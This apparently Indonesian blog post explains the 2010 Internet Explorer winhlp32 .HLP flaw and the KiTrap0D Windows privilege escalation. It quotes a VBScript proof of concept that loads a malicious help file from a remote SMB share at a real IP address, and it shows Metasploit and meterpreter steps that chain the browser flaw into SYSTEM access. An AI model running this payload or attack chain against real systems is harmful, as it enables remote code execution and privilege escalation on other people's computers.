Atikel berikut ini merupakan artikel yang diusung oleh Kecoak Elektronik yang membahas tentang adanya bug pada intenet Explorer versi 6, 7 dan 8. Kenapa saya memasukkan artikel ini? Karena saya pikir, artikel ini sangatlah penting mengingat pengguna Internet Explorer sangatlah banyak. Berikut artikel selengkapnya...
Pada tanggal 26 February 2010, Maurycy Prodeus mengeluarkan public disclosure terhadap bug internet explorer 6, 7, dan 8 yang dapat di-eksploitasi menggunakan malicious .HLP file. Berikut ini pernyataan dari maurycy,
It is possible to invoke winhlp32.exe from Internet Explorer 8,7,6Intinya, dengan memanfaatkan VBScript maka user dapat meng-ekesekusi winhlp32.exe untuk membuka suatu file bertipe .hlp (windows help file) melalui browser internet explorer 6, 7, 8. Dan jika file .hlp tersebut sudah dimodifikasi sehingga menjadi malicious .hlp maka user dapat di-eksploitasi untuk menjalankan malicious code. Pihak microsoft untuk sementara memasukan ekstensi file .hlp kedalam kategori ‘unsafe file types’.
using VBScript. Passing malicious .HLP file to winhlp32 could allow
remote attacker to run arbitrary command.
Additionally, there is a stack overflow vulnerability in winhlp32.exe
Untuk men-trigger vulnerability diatas cukup unik dan membutuhkan interaksi dari user untuk menekan tombol F1 ketika MessageBox muncul. Syntax untuk menampilkan MessageBox melalui VBScript sebagai berikut,
MsgBox(prompt[,buttons][,title][,helpfile,context]) |
Windows help file pada syntax diatas dapat diakses menggunakan samba share, berikut ini PoC dari maurycy untuk men-trigger vulnerability tersebut dan membuat user mengkases malicious .hlp file dari samba share yang telah dipersiapkannya,
'<
script
type
=
"text/vbscript"
>
// PoC pertama |
big = "\\184.73.14.110\PUBLIC\test.hlp" |
MsgBox "please press F1 to save the world", ,"please save the world", big, 1 |
MsgBox "press F1 to close this annoying popup", ,"", big, 1 |
MsgBox "press F1 to close this annoying popup", ,"", big, 1 |
<'/
script
>
PoC tersebut dapat dilihat dari sini.
Jelas terlihat bahwa malicious .hlp file yang digunakan terletak pada \\184.73.14.110\PUBLIC\test.hlp. Ketika user terpancing untuk mengeksekusi maka win32hlp.exe akan berusaha membuka test.hlp tersebut yang justru mengakibatkan eksekusi calc.exe.
Maurycy memberikan PoC tambahan bahwa terdapat bug stack-overflow pada win32hlp.exe ketika mengeksekusi parameter dengan path yang sangat panjang, namun berhubung win32hlp.exe di-compile menggunakan feature /GS maka bug tersebut tidak dapat di-eksploitasi begitu saja.
Saat ini \\184.73.14.110\PUBLIC\test.hlp tidak dapat diakses lagi, namun metasploit sudah memasukan exploit win32hlp tersebut kedalam trunk terbarunya. Ketika tulisan ini dibuat, versi trunk yang dimaksud adalah SVN r8723. Jika kalian penasaran ingin melihat malicious .hlp yang sebelumnya digunakan oleh maurycy, maka dapat melihat dari direktori metasploit di ‘data/exploits/runcalc.hlp’.
Jduck meng-integrasikan exploit tersebut kedalam metasploit framework menggunakan fasilitas WebDAV, sehingga kita tidak perlu membuat samba server untuk dapat diakses oleh target. Dengan beberapa trik yang memanfaatkan protocol WebDAV kita dapat meng-eksploitasi target dengan vulnerability diatas. Kategori eksploit ini masuk dalam ‘browser exploitaion’.
Contoh penggunaannya silahkan lihat DISINI
Sampai saat ini saya masih belum bisa menemukan letak masalah ketika metasploit digunakan dilingkungan Mac OSX, pemanfaatan feature webdav nya tidak berjalan dengan baik. Namun untuk metasploit yang berjalan diatas windows, exploit tersebut berhasil dieksekusi dengan baik seperti pada contoh diatas (anyone tried on linux?).
Exploit ini dapat digunakan pada feature ‘browser autopwn’-nya metasploit, so buat kalian para whitehat mulai dapat menikmati exploit ini untuk ditunjukan pada client saat proses pentest *heh*.
Finish?no. Sebagaimana terlihat dalam judul diatas, ada satu hal lagi yang akan kita bahas .
Pada 19 Januari 2010 yang lalu, tavis ormandy merilis public disclosure yang cukup (sangat?) menghebohkan, terutama bagi para pemerhati dunia security windows. Advisories yang dirilis oleh taviso dapat dilihat dari sini, inti dari advisories tersebut adalah sistem operasi microsoft windows menyimpan bug yang sifatnya 0day sejak tahun 1993. Bug tersebut di-klaim tetap ada sejak rilis Windows NT pada tanggal 27 Juli 1993 hingga implementasi Windows 7 saat ini (semua x86 32-bit windows vulnerable).
Pada saat public disclosure tersebut muncul tidak banyak pihak yang memahami ‘fungsi’-nya, contoh berikut ini ditambahkan dengan tujuan jika memang ada masyarakat indonesia yang belum mengerti (i knew, some of you are lazy to read english reference) maka dapat memahami fungsi dari exploitasi bug tersebut.
Intinya adalah kitrap0d digunakan sebagai local exploit untuk mendapatkan akses system pada windows. Jadi ketika kita berhasil meng-eksploitasi aplikasi dalam microsoft windows, namun akses yang kita dapatkan terbatas dalam arti user yang mengeksekusi adalah user biasa (non-administrator), maka dengan memanfaatkan exploit kitrap0d tersebut kita akan mendapatkan akses system yang tentu saja memberikan akses lebih tinggi.
Contoh paling mudah adalah memanfaatkan browser bug sebagai pintu masuk, seperti yang telah ditunjukan pada contoh diatas (bug win32hlp.exe), kita akan melihat informasi berikut ini:
meterpreter > getuid
Server username: XPSP2\user
Hal tersebut didapatkan karena user yang dieksploitasi oleh exploit ie_win32hlp menggunakan user biasa (nama user nya ‘user’) ketika mengeksekusi exploit, dan ini biasanya dilakukan oleh ratusan bahkan ribuan pengguna komputer dalam suatu perusahaan atau organisasi dimana login kedalam windows tidak menggunakan hak akses administrator.
Metasploit mem-bundle exploit kitrap0d dengan meterpreter, sehingga kita dapat dengan mudah melakukan local exploit pada target windows untuk mendapatkan hak akses ’system’ jika paylod yang digunakan adalah meterpreter. Contohnya klik DISINI
0 comments:
Post a Comment